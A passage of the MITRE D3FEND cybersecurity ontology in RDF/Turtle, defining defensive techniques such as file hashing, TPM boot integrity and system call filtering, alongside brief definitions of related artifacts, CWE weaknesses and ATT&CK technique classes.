    d3f:definition "A domain user account in Microsoft Windows (2000) defines that user's access to a logical group of network objects (computers, users, devices) that share the same Active Directory databases; that is, a user's access to a domain." ;
    rdfs:seeAlso <https://networkencyclopedia.com/global-user-account> ;
    rdfs:subClassOf d3f:UserAccount .

d3f:FileAnalysis a d3f:FileAnalysis,
        owl:Class,
        owl:NamedIndividual ;
    rdfs:label "File Analysis" ;
    d3f:analyzes d3f:File ;
    d3f:d3fend-id "D3-FA" ;
    d3f:definition "File Analysis is an analytic process to determine a file's status. For example: virus, trojan, benign, malicious, trusted, unauthorized, sensitive, etc." ;
    d3f:enables d3f:Detect ;
    d3f:kb-article """## Technique Overview
Some techniques use file signatures or file metadata to compare against historical collections of malware. Files may also be compared against a source of ground truth such as cryptographic signatures. Examining files for potential malware using pattern matching against file contents/file behavior. Binary code may be dissembled and analyzed for predictive malware behavior, such as API call signatures. Analysis might occur within a protected environment such as a sandbox or live system.""" ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:enables ;
            owl:someValuesFrom d3f:Detect ],
        [ a owl:Restriction ;
            owl:onProperty d3f:analyzes ;
            owl:someValuesFrom d3f:File ],
        d3f:DefensiveTechnique .

d3f:FileHashing a d3f:FileHashing,
        owl:Class,
        owl:NamedIndividual ;
    rdfs:label "File Hashing" ;
    d3f:d3fend-id "D3-FH" ;
    d3f:definition "Employing file hash comparisons to detect known malware." ;
    d3f:kb-article """## How it works
This technique requires a list of hashes to compare a file against.

## Considerations
Performance on large files or very large numbers of files.""" ;
    d3f:kb-reference d3f:Reference-Munin ;
    rdfs:subClassOf d3f:FileAnalysis .

d3f:Identifier a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Identifier" ;
    d3f:definition "An identifier is a name that identifies (that is, labels the identity of) either a unique object or a unique class of objects, where the \"object\" or class may be an idea, physical [countable] object (or class thereof), or physical [noncountable] substance (or class thereof). The abbreviation ID often refers to identity, identification (the process of identifying), or an identifier (that is, an instance of identification). An identifier may be a word, number, letter, symbol, or any combination of those." ;
    d3f:identifies d3f:Artifact ;
    rdfs:isDefinedBy <http://dbpedia.org/resource/Identifier> ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:identifies ;
            owl:someValuesFrom d3f:Artifact ],
        d3f:DigitalInformation ;
    skos:altLabel "ID" .

d3f:NetworkIsolation a d3f:NetworkIsolation,
        owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Network Isolation" ;
    d3f:d3fend-id "D3-NI" ;
    d3f:definition "Network Isolation techniques prevent network hosts from accessing non-essential system network resources." ;
    d3f:enables d3f:Isolate ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:enables ;
            owl:someValuesFrom d3f:Isolate ],
        d3f:DefensiveTechnique .

d3f:OperatingSystemConfigurationFile a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Operating System Configuration File" ;
    d3f:definition "An operating system configuration file is a file used to configure the operating system." ;
    rdfs:seeAlso d3f:ConfigurationFile,
        d3f:OperatingSystem,
        <http://dbpedia.org/resource/Configuration_file> ;
    rdfs:subClassOf d3f:ConfigurationFile,
        d3f:OperatingSystemFile ;
    skos:altLabel "System Configuration File" .

d3f:OutboundInternetDNSLookupTraffic a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Outbound Internet DNS Lookup Traffic" ;
    d3f:definition "Outbound internet DNS lookup traffic is network traffic using the DNS protocol on an outgoing connection initiated from a host within a network to a host outside the network." ;
    d3f:may-contain d3f:DNSLookup ;
    rdfs:seeAlso <http://dbpedia.org/resource/Internetworking> ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:may-contain ;
            owl:someValuesFrom d3f:DNSLookup ],
        d3f:DNSNetworkTraffic,
        d3f:OutboundInternetNetworkTraffic,
        d3f:OutboundNetworkTraffic .

d3f:OutboundInternetEncryptedTraffic a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Outbound Internet Encrypted Traffic" ;
    d3f:definition "Outbound internet encrypted traffic is encrypted network traffic on an outgoing connection initiated from a host within a network to a host outside the network." ;
    rdfs:seeAlso <http://dbpedia.org/resource/Internetworking> ;
    rdfs:subClassOf d3f:OutboundInternetNetworkTraffic .

d3f:PropertyListFile a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Property List File" ;
    d3f:definition "In the OS X, iOS, NeXTSTEP, and GNUstep programming frameworks, property list files are files that store serialized objects. Property list files use the filename extension .plist, and thus are often referred to as p-list files. Property list files are often used to store a user's settings. They are also used to store information about bundles and applications, a task served by the resource fork in the old Mac OS." ;
    rdfs:isDefinedBy <http://dbpedia.org/resource/Property_list> ;
    rdfs:subClassOf d3f:ConfigurationFile ;
    skos:altLabel "Plist File" .

d3f:Reference-CybersecurityIncidentandVulnerabilityResponsePlaybooks a d3f:GuidelineReference,
        owl:NamedIndividual ;
    rdfs:label "Reference - Cybersecurity Incident and Vulnerability Response Playbooks" ;
    d3f:has-link "https://www.cisa.gov/sites/default/files/publications/Federal_Government_Cybersecurity_Incident_and_Vulnerability_Response_Playbooks_508C.pdf"^^xsd:anyURI ;
    d3f:kb-abstract "" ;
    d3f:kb-author "Cybersecurity and Infrastructure Security Agency" ;
    d3f:kb-mitre-analysis "" ;
    d3f:kb-organization "Cybersecurity and Infrastructure Security Agency" ;
    d3f:kb-reference-of d3f:RegistryKeyDeletion ;
    d3f:kb-reference-title "Cybersecurity Incident & Vulnerability Response Playbooks" .

d3f:SPARTADefenseEvasionTechnique a owl:Class ;
    rdfs:label "Defense Evasion Technique - SPARTA" ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:enables ;
            owl:someValuesFrom d3f:ST0006 ],
        d3f:SPARTATechnique ;
    skos:prefLabel "Defense Evasion Technique" .

d3f:T1055 a owl:Class ;
    rdfs:label "Process Injection" ;
    d3f:attack-id "T1055" ;
    d3f:definition "Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process." ;
    rdfs:subClassOf d3f:DefenseEvasionTechnique,
        d3f:PrivilegeEscalationTechnique .

d3f:T1059 a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Command and Scripting Interpreter" ;
    d3f:attack-id "T1059" ;
    d3f:definition "Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of [Unix Shell](https://attack.mitre.org/techniques/T1059/004) while Windows installations include the [Windows Command Shell](https://attack.mitre.org/techniques/T1059/003) and [PowerShell](https://attack.mitre.org/techniques/T1059/001)." ;
    d3f:executes d3f:ExecutableScript ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:executes ;
            owl:someValuesFrom d3f:ExecutableScript ],
        d3f:ExecutionTechnique .

d3f:TPMBootIntegrity a d3f:TPMBootIntegrity,
        owl:Class,
        owl:NamedIndividual ;
    rdfs:label "TPM Boot Integrity" ;
    d3f:d3fend-id "D3-TBI" ;
    d3f:definition "Assuring the integrity of a platform by demonstrating that the boot process starts from a trusted combination of hardware and software and continues until the operating system has fully booted and applications are running.  Sometimes called Static Root of Trust Measurement (STRM)." ;
    d3f:kb-article """## How it works
During the boot process, the BIOS boot block (which with this defense enabled, is the Core Root of Trust for Measurement) measures boot components (firmware, ROM). The TPM hashes those measurements and stores the hashes in Platform Configuration Registers (PCRs).  Upon a subsequent boot, these hashes are provided to a verifier which compares the stored measurements to the new boot measurements. Integrity of the boot components is assured if they match.

Attestation of the secure boot occurs when a verifying entity requests a Quote which is a concatenation of the requested PCR values, hashed and signed by the TPM's unique RSA key.  The TPM signature is trusted because the private key is stored securely in hardware and never leaves the TPM.

## Considerations

* The TPM does not perform the follow-on actions of acting on the PCR value information, it just provides the PCR stored information.
* The current version of TPM is 2.0.; most existing implementations use TPM 1.2.

## Citations
[1] [TPM 2.0 Library](https://trustedcomputinggroup.org/resource/tpm-library-specification/)
[2] [TCG Trusted Attestation Protocol (TAP) Use Cases for TPM Families 1.2 and 2.0 and DICE](https://trustedcomputinggroup.org/wp-content/uploads/TCG_TNC_TAP_Use_Cases_v1r0p35_published.pdf)""" ;
    d3f:kb-reference d3f:Reference-TCGTrustedAttestationProtocolUseCasesForTPMFamilies1.2And2.0AndDICE,
        <http://d3fend.mitre.org/ontologies/d3fend.owl#Reference-TPM2.0LibrarySpecification_TrustedComputingGroup,Incorporated>,
        d3f:Reference-TrustedAttestationProtocolUseCases ;
    d3f:synonym "STRM",
        "Static Root of Trust Measurement" ;
    rdfs:subClassOf d3f:PlatformHardening .

d3f:UserAccountEvent a owl:Class ;
    rdfs:label "User Account Event" ;
    d3f:definition "An event capturing operations or state changes performed on user accounts, including lifecycle management, access control modifications, and policy assignments." ;
    rdfs:seeAlso <https://schema.ocsf.io/1.3.0/classes/account_change> ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:has-participant ;
            owl:someValuesFrom d3f:UserAccount ],
        d3f:DigitalEvent .

d3f:Weakness a owl:Class ;
    rdfs:label "Weakness" ;
    d3f:definition "A weakness is a condition in a software, firmware, hardware, or service component that, under certain circumstances, could contribute to the introduction of vulnerabilities." ;
    rdfs:subClassOf d3f:D3FENDCore .

d3f:d3fend-catalog-data-property a owl:DatatypeProperty ;
    rdfs:label "d3fend-catalog-data-property" ;
    rdfs:subPropertyOf d3f:d3fend-data-property,
        d3f:d3fend-external-control-data-property ;
    skos:altLabel "d3fend-vendor-registry-data-property"@en .

d3f:identifies a owl:ObjectProperty ;
    rdfs:label "identifies" ;
    d3f:definition "x identifies y: The entity x recognizes or brings attention to entity y, making it distinct or clear through naming, description, or discovery." ;
    rdfs:subPropertyOf d3f:associated-with .

d3f:ATTACKMobileInitialAccessTechnique a owl:Class ;
    rdfs:label "Initial Access Technique - ATTACK Mobile" ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:enables ;
            owl:someValuesFrom d3f:TA0027 ],
        d3f:ATTACKMobileTechnique ;
    skos:prefLabel "Initial Access Technique" .

d3f:BiometricAuthentication a d3f:BiometricAuthentication,
        owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Biometric Authentication" ;
    d3f:authenticates d3f:Person ;
    d3f:d3fend-id "D3-BAN" ;
    d3f:definition "Using biological measures in order to authenticate a user." ;
    d3f:kb-reference d3f:Reference-TokenlessBiometricTransactionAuthorizationMethodAndSystem,
        d3f:Reference-www.biometric-solutions.com_keystroke-dynamics ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:authenticates ;
            owl:someValuesFrom d3f:Person ],
        d3f:AgentAuthentication .

d3f:CWE-1120 a owl:Class ;
    rdfs:label "Excessive Code Complexity" ;
    d3f:cwe-id "CWE-1120" ;
    d3f:definition "The code is too complex, as calculated using a well-defined, quantitative measure." ;
    rdfs:subClassOf d3f:CWE-710 .

d3f:CWE-691 a owl:Class ;
    rdfs:label "Insufficient Control Flow Management" ;
    d3f:cwe-id "CWE-691" ;
    d3f:definition "The code does not sufficiently manage its control flow during execution, creating conditions in which the control flow can be modified in unexpected ways." ;
    rdfs:subClassOf d3f:Weakness .

d3f:CWE-755 a owl:Class ;
    rdfs:label "Improper Handling of Exceptional Conditions" ;
    d3f:cwe-id "CWE-755" ;
    d3f:definition "The product does not handle or incorrectly handles an exceptional condition." ;
    rdfs:subClassOf d3f:CWE-703 .

d3f:CertificateFile a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Certificate File" ;
    d3f:contains d3f:Certificate ;
    d3f:definition "A file containing a digital certificate. In cryptography, a public key certificate (also known as a digital certificate or identity certificate) is an electronic document used to prove the ownership of a public key. The certificate includes information about the key, information about its owner's identity, and the digital signature of an entity that has verified the certificate's contents are correct. If the signature is valid, and the person examining the certificate trusts the signer, then they know they can use that key to communicate with its owner." ;
    rdfs:isDefinedBy <http://dbpedia.org/resource/Public_key_certificate> ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:contains ;
            owl:someValuesFrom d3f:Certificate ],
        d3f:File .

d3f:EX-0012 a owl:Class ;
    rdfs:label "Modify On-Board Values - SPARTA" ;
    d3f:attack-id "EX-0012" ;
    d3f:definition "Threat actors may perform specific commands in order to modify onboard values that the victim spacecraft relies on. These values may include registers, internal routing tables, scheduling tables, subscriber tables, and more. Depending on how the values have been modified, the victim spacecraft may no longer be able to function." ;
    rdfs:seeAlso <https://sparta.aerospace.org/technique/EX-0012/> ;
    rdfs:subClassOf d3f:SPARTAExecutionTechnique ;
    skos:prefLabel "Modify On-Board Values" .

d3f:FileEvent a owl:Class ;
    rdfs:label "File Event" ;
    d3f:definition "An event involving operations performed on digital files, encompassing actions such as creation, modification, deletion, access, and attribute or permission changes." ;
    rdfs:seeAlso <https://schema.ocsf.io/1.3.0/classes/file_activity> ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:has-participant ;
            owl:someValuesFrom d3f:File ],
        d3f:DigitalEvent .

d3f:FirmwareVerification a d3f:FirmwareVerification,
        owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Firmware Verification" ;
    d3f:d3fend-id "D3-FV" ;
    d3f:definition "Cryptographically verifying firmware integrity." ;
    d3f:kb-article """## How it works
Cryptographic hash values are computed for system and peripheral firmware. The hash values are compared against precomputed hash values for the identified firmware. A hash value mismatch may indicate that the firmware may have been tampered with or updated with a non-current release indicating a misconfiguration for the system.

## Considerations
* Requires cryptographically computed hash values of firmware
* Requires storage of precomputed firmware hash values""" ;
    d3f:kb-reference d3f:Reference-FirmwareVerificationEclypsium,
        d3f:Reference-FirmwareVerificationTrapezoid,
        d3f:Reference-PlatformFirmwareResiliencyGuidelines_NIST ;
    d3f:verifies d3f:Firmware ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:verifies ;
            owl:someValuesFrom d3f:Firmware ],
        d3f:PlatformMonitoring .

d3f:Harden a d3f:DefensiveTactic,
        owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Harden" ;
    d3f:definition "The harden tactic is used to increase the opportunity cost of computer network exploitation. Hardening differs from Detection in that it generally is conducted before a system is online and operational." ;
    d3f:display-order 0 ;
    d3f:display-priority 0 ;
    rdfs:subClassOf d3f:DefensiveTactic .

d3f:Hardware-basedProcessIsolation a d3f:Hardware-basedProcessIsolation,
        owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Hardware-based Process Isolation" ;
    d3f:d3fend-id "D3-HBPI" ;
    d3f:definition "Preventing one process from writing to the memory space of another process through hardware based address manager implementations." ;
    d3f:isolates d3f:Process ;
    d3f:kb-article """## How it works
Process isolation, in this context, is address space separation controlled by a security function that limits the communication between processes so that one process cannot directly modify the executing code of another process. For example with virtual address space:

* Process A address space is different from process B address space, which prevents process A from writing to process B

Hardware process isolation is commonly implemented through Direct Memory Access (DMA) which collaborates with a Memory Management Unit (MMU), or Input-Output Memory Management Unit (IOMMU). These hardware controls are deployed directly on processors to aid hosts or enclaves in process isolation.

* DMA - Direct memory access allows memory access to occur independently of the program currently run by the microprocessor. DMA allows for I/O devices to directly read from and write to memory, or it can be used to efficiently copy blocks of memory. During DMA transfers, the microprocessor can execute an unrelated program.
* MMU - A memory management unit acts as an access control and is responsible for performing the translation of virtual memory addresses to physical memory addresses. The MMU allocates each process its own virtual memory space.
* IOMMU - An input-output memory management unit is used to allocate each I/O device its own virtual address space to the underlying physical addresses. IOMMU allows devices that do not support long memory addresses to address the entire memory space.

## Considerations
* Private hosts may be vulnerable to DMA attack if they have a PCI or PCI Express port that connects attached devices directly to physical address space.

## Implementations:
 * Intel Virtualization Technology for Directed I/O (Intel VT-d)
 * Firecracker""" ;
    d3f:kb-reference <http://d3fend.mitre.org/ontologies/d3fend.owl#Reference-ApproachesForSecuringAnInternetEndpointUsingFine-grainedOperatingSystemVirtualization_Bromium,Inc.>,
        <http://d3fend.mitre.org/ontologies/d3fend.owl#Reference-IsolationOfApplicationsWithinAVirtualMachine_Bromium,Inc.>,
        d3f:Reference-VirtualizedProcessIsolation_AdvancedMicroDevicesInc ;
    d3f:restricts d3f:CreateProcess ;
    d3f:synonym "Virtualization" ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:restricts ;
            owl:someValuesFrom d3f:CreateProcess ],
        [ a owl:Restriction ;
            owl:onProperty d3f:isolates ;
            owl:someValuesFrom d3f:Process ],
        d3f:ExecutionIsolation .

d3f:Host a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Host" ;
    d3f:contains d3f:Application ;
    d3f:definition "A host is a computer or other device, typically connected to a computer network. A network host may offer information resources, services, and applications to users or other nodes on the network. A network host is a network node that is assigned a network layer host address. Network hosts that participate in applications that use the client-server model of computing, are classified as server or client systems. Network hosts may also function as nodes in peer-to-peer applications, in which all nodes share and consume resources in an equipotent manner." ;
    rdfs:isDefinedBy <http://dbpedia.org/resource/Host_(network)> ;
    rdfs:seeAlso <https://schema.ocsf.io/objects/device> ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:contains ;
            owl:someValuesFrom d3f:Application ],
        d3f:ComputerNetworkNode ;
    skos:altLabel "Network Host" .

d3f:Isolate a d3f:DefensiveTactic,
        owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Isolate" ;
    d3f:definition "The isolate tactic creates logical or physical barriers in a system which reduces opportunities for adversaries to create further accesses." ;
    d3f:display-order 2 ;
    d3f:display-priority 0 ;
    rdfs:subClassOf d3f:DefensiveTactic .

d3f:MemoryFreeFunction a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Memory Free Function" ;
    d3f:definition "Releases previously reserved memory associated with a process." ;
    d3f:invokes d3f:FreeMemory ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:invokes ;
            owl:someValuesFrom d3f:FreeMemory ],
        d3f:Subroutine .

d3f:OTLogicVariable a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "OT Logic Variable" ;
    d3f:definition "A variable which directly affects a program running on an OT controller, involving an OT Process." ;
    rdfs:subClassOf d3f:RuntimeVariable .

d3f:SPARTAInitialAccessTechnique a owl:Class ;
    rdfs:label "Initial Access Technique - SPARTA" ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:enables ;
            owl:someValuesFrom d3f:ST0003 ],
        d3f:SPARTATechnique ;
    skos:prefLabel "Initial Access Technique" .

d3f:ScheduledJob a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Scheduled Job" ;
    d3f:contained-by d3f:JobSchedule ;
    d3f:created-by d3f:JobSchedulerSoftware ;
    d3f:definition "A task scheduler process is an operating system process that executes scheduled tasks (time-scheduling in the sense of wall clock time; not operating system scheduling of processes for multitasking)." ;
    d3f:modified-by d3f:JobSchedulerSoftware ;
    d3f:synonym "Scheduled Task",
        "Task Scheduler Process" ;
    rdfs:seeAlso <http://dbpedia.org/resource/Cron>,
        <http://dbpedia.org/resource/Windows_Task_Scheduler>,
        <https://linux.die.net/man/1/at>,
        <https://schema.ocsf.io/objects/job> ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:created-by ;
            owl:someValuesFrom d3f:JobSchedulerSoftware ],
        [ a owl:Restriction ;
            owl:onProperty d3f:modified-by ;
            owl:someValuesFrom d3f:JobSchedulerSoftware ],
        [ a owl:Restriction ;
            owl:onProperty d3f:contained-by ;
            owl:someValuesFrom d3f:JobSchedule ],
        d3f:OperatingSystemProcess .

d3f:T1574 a owl:Class ;
    rdfs:label "Hijack Execution Flow" ;
    d3f:attack-id "T1574" ;
    d3f:definition "Adversaries may execute their own malicious payloads by hijacking the way operating systems run programs. Hijacking execution flow can be for the purposes of persistence, since this hijacked execution may reoccur over time. Adversaries may also use these mechanisms to elevate privileges or evade defenses, such as application control or other restrictions on execution." ;
    rdfs:subClassOf d3f:DefenseEvasionTechnique,
        d3f:PersistenceTechnique,
        d3f:PrivilegeEscalationTechnique .

d3f:manages a owl:ObjectProperty ;
    rdfs:label "manages" ;
    d3f:definition "x manages y: The technique or agent x watches and directs the use of a digital artifact y." ;
    rdfs:isDefinedBy <http://wordnet-rdf.princeton.edu/id/02447914-v> ;
    rdfs:subPropertyOf d3f:associated-with ;
    skos:altLabel "oversees",
        "supervises" .

d3f:reads a owl:ObjectProperty ;
    rdfs:label "reads" ;
    d3f:definition "x reads y: The subject x takes the action of reading from a digital source y to acquire data and placing it into volatile memory for processing." ;
    rdfs:seeAlso <http://dbpedia.org/resource/Reading_(computer)>,
        <http://wordnet-rdf.princeton.edu/id/00629157-v> ;
    rdfs:subPropertyOf d3f:accesses .

d3f:ATTACKEnterpriseTactic a owl:Class ;
    rdfs:label "ATTACK Enterprise Tactic" ;
    rdfs:subClassOf d3f:ATTACKEnterpriseThing .

d3f:ATTACKEnterpriseTechnique a owl:Class ;
    rdfs:label "ATTACK Enterprise Technique" ;
    rdfs:subClassOf d3f:ATTACKEnterpriseThing .

d3f:ATTACKICSCollectionTechnique a owl:Class ;
    rdfs:label "Collection Technique - ATTACK ICS" ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:enables ;
            owl:someValuesFrom d3f:TA0100 ],
        d3f:ATTACKICSTechnique ;
    skos:prefLabel "Collection Technique" .

d3f:ATTACKICSInitialAccessTechnique a owl:Class ;
    rdfs:label "Initial Access Technique - ATTACK ICS" ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:enables ;
            owl:someValuesFrom d3f:TA0108 ],
        d3f:ATTACKICSTechnique ;
    skos:prefLabel "Initial Access Technique" .

d3f:ATTACKMobileCredentialAccessTechnique a owl:Class ;
    rdfs:label "Credential Access Technique - ATTACK Mobile" ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:enables ;
            owl:someValuesFrom d3f:TA0031 ],
        d3f:ATTACKMobileTechnique ;
    skos:prefLabel "Credential Access Technique" .

d3f:Agent a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Agent" ;
    d3f:definition "An entity capable of performing intentional actions." ;
    rdfs:subClassOf d3f:D3FENDCore .

d3f:Authorization a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Authorization" ;
    d3f:definition "Authorization is the function of specifying access rights to resources related to information security and computer security in general and to access control in particular. More formally, \"to authorize\" is to define an access policy. For example, human resources staff is normally authorized to access employee records and this policy is usually formalized as access control rules in a computer system. During operation, the system uses the access control rules to decide whether access requests from (authenticated) consumers shall be approved (granted) or disapproved (rejected). Resources include individual files or an item's data, computer programs, computer devices and functionality provided by computer applications. Examples of consumers are computer users, computer program" ;
    rdfs:isDefinedBy <http://dbpedia.org/resource/Authorization> ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:authorizes ;
            owl:someValuesFrom d3f:Access ],
        d3f:DefensiveAction .

d3f:Certificate-basedAuthentication a d3f:Certificate-basedAuthentication,
        owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Certificate-based Authentication" ;
    d3f:d3fend-id "D3-CBAN" ;
    d3f:definition "Requiring a digital certificate in order to authenticate a user." ;
    d3f:kb-article """## How it works

Certificate-based authentication is a security mechanism that uses digital certificates to verify the identity of a user, device, or server before granting access to a network or system. This method relies on a pair of cryptographic keys: a public key and a private key.

## Considerations

* Private Key Protection: Ensure that private keys are securely stored and protected against unauthorized access.
* Certificate Revocation: Implement a robust process for revoking certificates if they are compromised or no longer needed.
* Man-in-the Middle Attacks: Use mutual authentication to mitigate the risk of these attacks.""" ;
    d3f:kb-reference d3f:Reference-FederalPublicKeyInfrastructure101 ;
    d3f:reads d3f:Certificate ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:reads ;
            owl:someValuesFrom d3f:Certificate ],
        d3f:AgentAuthentication .

d3f:DiskEncryption a d3f:DiskEncryption,
        owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Disk Encryption" ;
    d3f:d3fend-id "D3-DENCR" ;
    d3f:definition "Encrypting a hard disk partition to prevent cleartext access to a file system." ;
    d3f:encrypts d3f:Storage ;
    d3f:kb-reference d3f:Reference-LUKS1On-DiskFormatSpecificationVersion1.2.3 ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:encrypts ;
            owl:someValuesFrom d3f:Storage ],
        d3f:PlatformHardening .

d3f:InboundInternetNetworkTraffic a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Inbound Internet Network Traffic" ;
    d3f:definition "Inbound internet traffic is network traffic from a host outside a given network initiated on an incoming connection to a host inside that network." ;
    d3f:produces d3f:NetworkTraffic ;
    rdfs:seeAlso <http://dbpedia.org/resource/Internetworking> ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:produces ;
            owl:someValuesFrom d3f:NetworkTraffic ],
        d3f:InboundNetworkTraffic,
        d3f:InternetNetworkTraffic .

d3f:InitialAccessTechnique a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Initial Access Technique" ;
    d3f:definition "The adversary is trying to get into your network." ;
    d3f:enables d3f:TA0001 ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:enables ;
            owl:someValuesFrom d3f:TA0001 ],
        d3f:ATTACKEnterpriseTechnique,
        d3f:OffensiveTechnique .

d3f:OperatingSystemFile a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Operating System File" ;
    d3f:definition "An operating system file is a file that is part of, or used to store information about, the operating system itself." ;
    rdfs:seeAlso <http://dbpedia.org/resource/Operating_system>,
        <http://dbpedia.org/resource/System_file> ;
    rdfs:subClassOf d3f:File .

d3f:OperatingSystemMonitoring a d3f:OperatingSystemMonitoring,
        owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Operating System Monitoring" ;
    d3f:d3fend-id "D3-OSM" ;
    d3f:definition "The operating system software, for D3FEND's purposes, includes the kernel and its process management functions, hardware drivers, initialization or boot logic. It also includes and other key system daemons and their configuration. The monitoring or analysis of these components for unauthorized activity constitute **Operating System Monitoring**." ;
    d3f:enables d3f:Detect ;
    d3f:kb-article """## Technique Overview

"An operating system (OS) is system software that manages computer hardware and software resources and provides common services for computer programs." [1]

Operating System Monitoring Techniques have varied implementations including built-in kernel modules, third-party privileged system daemons, or even standard systems administration tools included with an operating system.

1. http://dbpedia.org/resource/Operating_system""" ;
    d3f:kb-reference d3f:Reference-HostIntrusionPreventionSystemUsingSoftwareAndUserBehaviorAnalysis_SophosLtd,
        d3f:Reference-UserActivityFromClearingEventLogs_MITRE ;
    rdfs:subClassOf d3f:PlatformMonitoring .

d3f:SystemCallFiltering a d3f:SystemCallFiltering,
        owl:Class,
        owl:NamedIndividual ;
    rdfs:label "System Call Filtering" ;
    d3f:d3fend-id "D3-SCF" ;
    d3f:definition "Controlling access to local computer system resources with kernel-level capabilities." ;
    d3f:filters d3f:SystemCall ;
    d3f:isolates d3f:Process ;
    d3f:kb-article """## How it works
System call filtering uses a mandatory access control paradigm (that is, a non-discretionary access control) system because the rules and polices that determine access is determined by a security control authority and not distributed to local users. Access determinations are based on designed access control polices and are not based on local resource owner determinations.

Access is typically granted by defining sets of subjects and sets of objects. Subjects are the entities requesting access and objects are the resources that subjects are trying to access. Rules and policies are defined that associate subjects and object permissions and access controls.

### Common implementations
#### Security label access control
A fine-grained form control is to apply security labels to individual resources, including processes, and the access control decisions are against a particular resource and a given user attempting to gain access. This type of control requires that the file system has built-in support for security labels.

Access controls are typically implemented through the use of label identifiers for every file system object. Identifier labels are applied to resources and users are assigned a similar access identifier. Users attempting to access a resource will result in the operating system performing an access control check. The access control check will compare the assigned user's credentials to that of the resource or object they are attempting to access.

A security context is associated with resources and is used to determine assess. Typical basic access control elements include users, roles and types and together they form a security context which is the basis for the security labels.

This type of access control is what is employed in SELinux [2]. This form of security kernel access control is considered the most flexible implementation, but it also is the most complex to deploy across the enterprise. Where multiple virtual machines (VM) are run together this type of access control is typically employed to ensure true isolation of processes and VMs.

#### File path level controls
A less fine-grained form of mandatory access control is to apply security labels that allow for access control at the file path level.  Access control is filesystem agnostic and no relabeling of resources is required. Pathname access control usually seems more natural for implementation and corresponding access audits.

This type of system call filtering is what is employed in AppArmor [3]. AppArmor was developed to provide a simpler alternative method with much less management overhead. A simple access policy is maintained that defines path resource access rules. Access control attributes are typically associated with programs instead of users.


## Considerations
Some implementations of security label-based control contain complex rules set that are hard to verify and complex to maintain over time.

Initial planning of access model and continuous monitoring of the available users, resources and object is necessary.

## Implementations

 * Linux C-Groups, and policy engines like SELinux and AppArmor
 * Windows Mandatory Integrity Control introduced in Windows Vista


### Citations
1. [SELinux](https://selinuxproject.org/)
2. [AppArmor](https://www.apparmor.net/)""" ;
    d3f:kb-reference d3f:Reference-AnalysisOfTheWindowsVistaSecurityModel_SymantecCorporation,
        d3f:Reference-ArchitectureOfTransparentNetworkSecurityForApplicationContainers_NeuvectorInc,
        d3f:Reference-OverviewOfTheSeccompSandbox ;
    d3f:synonym "System Call Control" ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:isolates ;
            owl:someValuesFrom d3f:Process ],
        [ a owl:Restriction ;
            owl:onProperty d3f:filters ;
            owl:someValuesFrom d3f:SystemCall ],
        d3f:AccessMediation ;
    skos:altLabel "Mandatory Access Control",
        "System Call Mediation" .

d3f:T1218 a owl:Class ;
    rdfs:label "System Binary Proxy Execution" ;
    d3f:attack-id "T1218" ;
